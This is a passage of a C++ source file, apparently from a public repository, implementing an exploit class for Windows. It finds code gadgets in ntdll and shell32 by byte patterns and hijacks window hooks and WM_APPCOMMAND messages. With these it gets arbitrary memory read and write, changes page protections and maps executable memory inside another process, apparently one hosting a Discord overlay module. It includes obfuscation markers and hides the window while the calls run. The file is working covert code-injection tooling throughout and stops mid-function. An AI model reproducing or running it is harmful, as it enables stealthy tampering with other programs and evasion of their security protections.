mirror of
https://github.com/waryas/WaryasSWHE.git
synced 2025-12-13 13:23:08 +08:00
901 lines
27 KiB
C++
901 lines
27 KiB
C++
#include "exploit.hpp"
|
|
#include "utils.hpp"
|
|
#include <psapi.h>
|
|
#include <stdio.h>
|
|
#include <Windows.h>
|
|
#include <shlobj.h>
|
|
#include <stdint.h>
|
|
#include <winternl.h>
|
|
#include <mmsystem.h>
|
|
#include <time.h>
|
|
#include <shlwapi.h>
|
|
#include <unordered_set>
|
|
#include "pe_mapper.hpp"
|
|
|
|
#define NTHEADER(ImgBase) PIMAGE_NT_HEADERS64(PIMAGE_DOS_HEADER(ImgBase)->e_lfanew + uint64_t(ImgBase))
|
|
#define SET_BIT(Val, Num, Up) \
|
|
{ \
|
|
if (Up) \
|
|
{ \
|
|
Val |= (1 << Num); \
|
|
} \
|
|
else \
|
|
{ \
|
|
Val &= ~(1 << Num); \
|
|
} \
|
|
}
|
|
#define IS_BIT_SET(Val, Num) (Val & (1 << Num))
|
|
|
|
#define SHARED_MEM_WPARAM_STRUCT 0x800
|
|
|
|
|
|
|
|
|
|
unsigned char* make_fake_pe() {
|
|
unsigned char* p = (unsigned char*)malloc(0x200);
|
|
if (!p) return NULL;
|
|
memset(p, 0, 0x200);
|
|
*(unsigned short*)(p + 0x0) = 0x5A4D;
|
|
*(unsigned int*)(p + 0x3C) = 0x40;
|
|
*(unsigned int*)(p + 0x40) = 0x00004550;
|
|
*(unsigned short*)(p + 0x44) = 0x8664;
|
|
*(unsigned short*)(p + 0x46) = 1;
|
|
*(unsigned short*)(p + 0x54) = 0xF0;
|
|
*(unsigned short*)(p + 0x58) = 0x20B;
|
|
*(unsigned int*)(p + 0x58 + 0x10) = 0x0;
|
|
size_t sec = 0x148;
|
|
memcpy(p + sec + 0x0, ".data\0\0\0", 8);
|
|
*(unsigned int*)(p + sec + 0x8) = 0x1000;
|
|
*(unsigned int*)(p + sec + 0xC) = 0x100000 - 0x1000; //offset
|
|
*(unsigned int*)(p + sec + 0x10) = 0x1000; //size
|
|
*(unsigned int*)(p + sec + 0x14) = 0x200;
|
|
*(unsigned int*)(p + sec + 0x24) = 0x60000000u; //permission
|
|
return p;
|
|
}
|
|
|
|
|
|
OBFUSCATE void CExploit::ChangeProtection(uint64_t Address, size_t size, DWORD protection) {
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{};
|
|
uint64_t arg2{};
|
|
uint64_t function_ptr{};
|
|
uint64_t arg1{};
|
|
uint64_t lock{};
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
a->arg1 = PAGE_READWRITE;
|
|
a->arg2 = rand()*rand();
|
|
a->memcpy = set_mrprot;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() * rand());
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(mr_data_addr_ptr);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->val = Address;
|
|
a->lock = 0;
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(mr_data_size_ptr);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->val = size;
|
|
a->lock = 0;
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
a->arg1 = protection;
|
|
a->arg2 = rand() * rand();
|
|
a->memcpy = set_mrprot;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(mr_data_addr_ptr);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->val = mr_data_addr_orig;
|
|
a->lock = 0;
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(mr_data_size_ptr);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->val = mr_data_size_orig;
|
|
a->lock = 0;
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
a->arg1 = PAGE_READONLY;
|
|
a->arg2 = rand() * rand();
|
|
a->memcpy = set_mrprot;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand()* rand());
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
return;
|
|
|
|
}
|
|
uint64_t CExploit::MapPEHeader(uint64_t Address)
|
|
{
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{};
|
|
uint64_t arg2{};
|
|
uint64_t function_ptr{};
|
|
uint64_t arg1{};
|
|
uint64_t lock{};
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
a->arg1 = Address;
|
|
a->arg2 = 0xFFFFFFFFFFFFFFFF;
|
|
a->memcpy = set_protect;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() * rand());
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
return 0;
|
|
}
|
|
|
|
|
|
uint64_t CExploit::AllocateRX(BYTE* data, size_t size)
|
|
{
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{};
|
|
uint64_t arg2{};
|
|
uint64_t function_ptr{};
|
|
uint64_t arg1{};
|
|
uint64_t lock{};
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
a->arg1 = 0x100000;
|
|
a->arg2 = rand() * rand();
|
|
a->memcpy = (uintptr_t)GetProcAddress(LoadLibraryA("msvcrt.dll"), "malloc");
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
std::unordered_set<uintptr_t> existing_mem;
|
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, ProcessData->ProcessID);
|
|
if (hProcess == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to open process[%d] error[%d]\n", ProcessData->ProcessID, GetLastError());
|
|
return false;
|
|
}
|
|
|
|
|
|
uint8_t* Address{};
|
|
MEMORY_BASIC_INFORMATION Mbi{};
|
|
while (true)
|
|
{
|
|
if (!VirtualQueryEx(hProcess, Address, &Mbi, sizeof(Mbi)))
|
|
break;
|
|
|
|
|
|
if (Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READWRITE && Mbi.RegionSize == 0x101000 && Mbi.Type == MEM_PRIVATE)
|
|
{
|
|
existing_mem.insert((uintptr_t)Mbi.BaseAddress);
|
|
}
|
|
|
|
Address += Mbi.RegionSize;
|
|
}
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() * rand());
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
Address = 0;
|
|
uintptr_t found_addr = 0;
|
|
while (true)
|
|
{
|
|
|
|
if (!VirtualQueryEx(hProcess, Address, &Mbi, sizeof(Mbi)))
|
|
break;
|
|
|
|
// printf("%llx - %llx - %d - %d - %d\n", Address, Mbi.RegionSize, Mbi.Type, Mbi.Protect, Mbi.State);
|
|
if (Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READWRITE && Mbi.RegionSize == 0x101000 && Mbi.Type == MEM_PRIVATE)
|
|
{
|
|
if (!existing_mem.contains((uintptr_t)Mbi.BaseAddress)) {
|
|
found_addr = (uintptr_t)Mbi.BaseAddress;
|
|
break;
|
|
}
|
|
}
|
|
|
|
Address += Mbi.RegionSize;
|
|
}
|
|
CloseHandle(hProcess);
|
|
if (found_addr) {
|
|
auto x = make_fake_pe();
|
|
unsigned char empty[0x200]{};
|
|
WriteData(found_addr, (BYTE*)x, 0x200);
|
|
WriteData(found_addr + 0x100000 - 0x1000, data, size);
|
|
MapPEHeader(found_addr);
|
|
WriteData(found_addr, (BYTE*)empty, 0x200);
|
|
free(x);
|
|
return found_addr + 0x100000 - 0x1000;
|
|
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
|
|
uint64_t CExploit::ReadU64(uint64_t Address)
|
|
{
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{}; //0
|
|
uint64_t arg2{}; //8
|
|
uint64_t function_ptr{}; //0x10
|
|
uint64_t arg1{}; // 0x18
|
|
uint64_t lock{}; // 0x20
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(Address);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() % 0xFFFFFFFFFFFFFFFF);
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
|
|
return a->val;
|
|
}
|
|
|
|
|
|
void CExploit::ReadData(uint64_t Address, BYTE* Data, size_t size)
|
|
{
|
|
if (size > 0x700) {
|
|
printf("Read is too big\n");
|
|
__debugbreak();
|
|
}
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{}; //0
|
|
uint64_t arg2{}; //8
|
|
uint64_t function_ptr{}; //0x10
|
|
uint64_t arg1{}; // 0x18
|
|
uint64_t lock{}; // 0x20
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
|
|
a->dst.Length = size;
|
|
a->dst.MaximumLength = size;
|
|
a->dst.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->src.Length = size;
|
|
a->src.MaximumLength = size;
|
|
a->src.Buffer = (PWSTR)(Address);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->lock = 0;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() % 0xFFFFFFFFFFFFFFFF);
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
|
|
memcpy(Data, &a->val, size);
|
|
|
|
}
|
|
|
|
void CExploit::WriteU64(uint64_t Address, uint64_t Value)
|
|
{
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{}; //0
|
|
uint64_t arg2{}; //8
|
|
uint64_t function_ptr{}; //0x10
|
|
uint64_t arg1{}; // 0x18
|
|
uint64_t lock{}; // 0x20
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
|
|
a->dst.Length = 8;
|
|
a->dst.MaximumLength = 8;
|
|
a->dst.Buffer = (PWSTR)(Address);
|
|
a->src.Length = 8;
|
|
a->src.MaximumLength = 8;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
a->val = Value;
|
|
a->lock = 0;
|
|
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() % 0xFFFFFFFFFFFFFFFF);
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
void CExploit::WriteData(uint64_t Address, BYTE* Data, size_t size)
|
|
{
|
|
|
|
struct wparam {
|
|
uint64_t memcpy{}; //0
|
|
uint64_t arg2{}; //8
|
|
uint64_t function_ptr{}; //0x10
|
|
uint64_t arg1{}; // 0x18
|
|
uint64_t lock{}; // 0x20
|
|
UNICODE_STRING dst{}; // 0x28
|
|
UNICODE_STRING src{}; // 0x38
|
|
uint64_t val{}; // 0x48
|
|
};
|
|
|
|
wparam* a = (wparam*)(LocalSharedMemory + SHARED_MEM_WPARAM_STRUCT);
|
|
size_t max_size = 0x50;
|
|
if (size > max_size) {
|
|
size_t chunks = (size + max_size - 1) / max_size;
|
|
for (size_t i = 0; i < chunks; ++i) {
|
|
size_t remainder = size % max_size;
|
|
size_t chunk_size = (i == chunks - 1) ? ((remainder == 0) ? max_size : remainder) : max_size;
|
|
WriteData(Address + i * max_size, Data + i * max_size, chunk_size);
|
|
}
|
|
return;
|
|
}
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 0);
|
|
Sleep(0);
|
|
|
|
memset(a, 0, sizeof(wparam));
|
|
|
|
a->dst.Length = size;
|
|
a->dst.MaximumLength = size;
|
|
a->dst.Buffer = (PWSTR)(Address);
|
|
a->src.Length = size;
|
|
a->src.MaximumLength = size;
|
|
a->src.Buffer = (PWSTR)(RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x48);
|
|
a->arg1 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x28;
|
|
a->arg2 = RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT + 0x38;
|
|
a->memcpy = write_fn;
|
|
a->function_ptr = t;
|
|
|
|
a->lock = 0;
|
|
|
|
memcpy(&a->val, Data, size);
|
|
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)w, ddll, ProcessData->ThreadID);
|
|
if (!hhook) {
|
|
printf("Failed critical %08x - process has crashed!\n", GetLastError());
|
|
Sleep(5000);
|
|
ExitProcess(0);
|
|
}
|
|
Sleep(0);
|
|
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)RemoteSharedMemory + SHARED_MEM_WPARAM_STRUCT, rand() % 0xFFFFFFFFFFFFFFFF);
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
Sleep(0);
|
|
|
|
ShowWindow(ProcessData->ProcessHwnd, 1);
|
|
|
|
return;
|
|
}
|
|
|
|
bool CExploit::Initialize(CProcess* Proc)
|
|
{
|
|
srand(GetTickCount());
|
|
ProcessData = Proc;
|
|
nt = LoadLibraryA("ntdll.dll");
|
|
sh = LoadLibraryA("shell32.dll");
|
|
ddll = LoadLibraryA("uxtheme.dll");
|
|
|
|
// Locate shared memory in our client.
|
|
if (!FindSharedMemory(HANDLE(-1), &LocalSharedMemory, &SharedCount, (char*)"randomfuckingnameyougotnoidea.exe"))
|
|
{
|
|
printf("Failed to find shared memory in current process\n");
|
|
return false;
|
|
}
|
|
|
|
|
|
{
|
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, ProcessData->ProcessID);
|
|
if (hProcess == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Failed to open process[%d] error[%d]\n", ProcessData->ProcessID, GetLastError());
|
|
return false;
|
|
}
|
|
|
|
if (!FindSharedMemory(hProcess, &RemoteSharedMemory, &SharedCount, ProcessData->exe_name))
|
|
{
|
|
CloseHandle(hProcess);
|
|
printf("Failed to find shared memory in target process\n");
|
|
return false;
|
|
}
|
|
|
|
|
|
PROCESS_BASIC_INFORMATION pbi{};
|
|
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), 0);
|
|
ProcessData->peb = (uintptr_t)pbi.PebBaseAddress;
|
|
CloseHandle(hProcess);
|
|
|
|
if ((*(uint32_t*)0x7FFE0260) >= 26100)
|
|
{
|
|
|
|
|
|
typedef struct _THREAD_BASIC_INFORMATION {
|
|
NTSTATUS ExitStatus;
|
|
PVOID TebBaseAddress;
|
|
CLIENT_ID ClientId;
|
|
KAFFINITY AffinityMask;
|
|
KPRIORITY Priority;
|
|
KPRIORITY BasePriority;
|
|
} THREAD_BASIC_INFORMATION;
|
|
|
|
HANDLE hThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, false, ProcessData->ThreadID);
|
|
THREAD_BASIC_INFORMATION x{};
|
|
ULONG retlen{};
|
|
NtQueryInformationThread(hThread, (THREADINFOCLASS)0, &x, sizeof(x), &retlen);
|
|
CloseHandle(hThread);
|
|
PVOID attack_addr = (PVOID)((uint64_t)x.TebBaseAddress + 0x1850);
|
|
ShowWindow(ProcessData->ProcessHwnd, SW_HIDE); //wtf man
|
|
auto hhook = SetWindowsHookExA(WH_SHELL, (HOOKPROC)GetProcAddress(nt, "RtlOpenCrossProcessEmulatorWorkConnection"), ddll, ProcessData->ThreadID);
|
|
Sleep(0);
|
|
SendMessageA(ProcessData->ProcessHwnd, WM_APPCOMMAND, (WPARAM)attack_addr, (LPARAM)attack_addr);
|
|
|
|
UnhookWindowsHookEx(hhook);
|
|
ShowWindow(ProcessData->ProcessHwnd, SW_SHOW); //wtf man
|
|
printf("Fixup applied\n");
|
|
}
|
|
}
|
|
/*
|
|
if (!ProcessData->discord_path)
|
|
{
|
|
printf("Failed to find discord path\n");
|
|
return false;
|
|
}
|
|
*/
|
|
/* Map and get discord rwx */
|
|
|
|
{
|
|
|
|
|
|
const char* writeGadgetPattern = "?? 89 ?? ?? 08 57 ?? 83 ?? 20 ?? 8d ?? 20 ?? 8b ?? e8";
|
|
|
|
w = (uintptr_t)PatternScan(nt, writeGadgetPattern);
|
|
if (!w) {
|
|
printf("Failed to find W\n");
|
|
return false;
|
|
}
|
|
|
|
const char* trampPattern = "48 83 ec ?? 48 8b da 48 85 d2 74 ?? 83 7a ?? ?? 75 ?? 83 7a ?? ?? 75 ??";
|
|
|
|
t = (uintptr_t)PatternScan(sh, trampPattern);
|
|
if (!t) {
|
|
printf("Failed to find t\n");
|
|
return false;
|
|
}
|
|
t = t & 0xFFFFFFFFFFFFFFF0;
|
|
|
|
const char* setProtectPattern = "48 8b e9 48 8b d1 41 8d 48 03";
|
|
set_protect = (uintptr_t)PatternScan(nt, setProtectPattern);
|
|
if (!set_protect) {
|
|
printf("Failed to find set_protect\n");
|
|
return false;
|
|
}
|
|
|
|
while (*(unsigned char*)set_protect != 0xCC) set_protect--;
|
|
set_protect++;
|
|
|
|
|
|
const char* mrDataPattern = "48 8B 05 ?? ?? ?? ?? 4C 8D 44 24 ?? 48 89 44 24";
|
|
set_mrprot = (uintptr_t)PatternScan(nt, mrDataPattern);
|
|
|
|
if (!set_mrprot) {
|
|
printf("Failed to find set_mrprot\n");
|
|
return false;
|
|
}
|
|
mr_data_addr_ptr = set_mrprot + *(int32_t*)(set_mrprot + 3) + 7;
|
|
mr_data_size_ptr = set_mrprot + *(int32_t*)(set_mrprot + 3) + 7 - 0x10;
|
|
|
|
mr_data_addr_orig = *(uintptr_t*)mr_data_addr_ptr;
|
|
mr_data_size_orig = *(uintptr_t*)mr_data_size_ptr;
|
|
|
|
while (*(unsigned char*)set_mrprot != 0xCC) set_mrprot--;
|
|
set_mrprot++;
|
|
|
|
|
|
write_fn = (uint64_t)GetProcAddress(nt, "RtlCopyString");
|
|
|
|
|
|
}
|
|
return true;
|
|
}
|
|
|
|
uint64_t CExploit::get_LocalSharedMemory()
|
|
{
|
|
return LocalSharedMemory;
|
|
}
|
|
|
|
uint64_t CExploit::get_RemoteSharedMemory()
|
|
{
|
|
return RemoteSharedMemory;
|
|
}
|
|
|
|
uint64_t CExploit::get_RemoteBase()
|
|
{
|
|
return RemoteProcessBase;
|
|
}
|
|
|
|
|
|
bool CExploit::FindSharedMemory(HANDLE hProcess, uint64_t* MemoryOut, uint64_t* SharedCountOut, char* exe_name)
|
|
{
|
|
if (hProcess == (HANDLE)-1)
|
|
{
|
|
uint8_t* Address{};
|
|
MEMORY_BASIC_INFORMATION Mbi{};
|
|
bool found_it = false;
|
|
while (true)
|
|
{
|
|
if (!VirtualQueryEx(hProcess, Address, &Mbi, sizeof(Mbi)))
|
|
break;
|
|
if (Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READWRITE && Mbi.RegionSize == 0x1000 && Mbi.Type == MEM_MAPPED)
|
|
{
|
|
//scan inside SHCore.dll to see if this address is inside data
|
|
auto shcore = LoadLibraryA("SHCore.dll");
|
|
uint8_t* Address2 = (uint8_t*)shcore;
|
|
MEMORY_BASIC_INFORMATION Mbi2{};
|
|
int i = 0;
|
|
while (VirtualQuery(Address2, &Mbi2, sizeof(Mbi2)))
|
|
{
|
|
if (i >= 9)
|
|
break;
|
|
if (Mbi2.Type == MEM_IMAGE && Mbi2.Protect == PAGE_READWRITE)
|
|
{
|
|
for (int ii = 0; ii < Mbi2.RegionSize; ii += 0x8)
|
|
{
|
|
if (*(uintptr_t*)&Address2[ii] == (uintptr_t)Mbi.BaseAddress)
|
|
{
|
|
found_it = true;
|
|
*MemoryOut = (uintptr_t)Mbi.BaseAddress;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (found_it)
|
|
break;
|
|
|
|
i++;
|
|
Address2 += Mbi2.RegionSize;
|
|
}
|
|
}
|
|
if (found_it)
|
|
break;
|
|
Address += Mbi.RegionSize;
|
|
}
|
|
|
|
|
|
/* HANDLE h_map;
|
|
|
|
h_map = OpenFileMappingA(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, "windows_shell_global_counters");
|
|
if (h_map == nullptr)
|
|
return false;
|
|
|
|
uintptr_t frame_buffer = (uintptr_t)MapViewOfFile(h_map, FILE_MAP_ALL_ACCESS, 0, 0, 0);
|
|
CloseHandle(h_map);
|
|
if (!frame_buffer)
|
|
return false;
|
|
printf("FrameBuffer: %llx\n", frame_buffer);
|
|
*MemoryOut = frame_buffer;*/
|
|
return found_it;
|
|
}
|
|
|
|
|
|
bool found = false;
|
|
|
|
uint8_t* Address{};
|
|
MEMORY_BASIC_INFORMATION Mbi{};
|
|
while (true)
|
|
{
|
|
if (!VirtualQueryEx(hProcess, Address, &Mbi, sizeof(Mbi)))
|
|
break;
|
|
|
|
if (hProcess != GetCurrentProcess() && Mbi.State == MEM_COMMIT && Mbi.Protect == PAGE_READONLY && Mbi.RegionSize == 0x1000 && Mbi.Type == MEM_IMAGE)
|
|
{
|
|
char filename[1024]{};
|
|
K32GetMappedFileNameA(hProcess, Mbi.BaseAddress, filename, sizeof(filename));
|
|
if (strstr(filename, "DiscordHook64"))
|
|
{
|
|
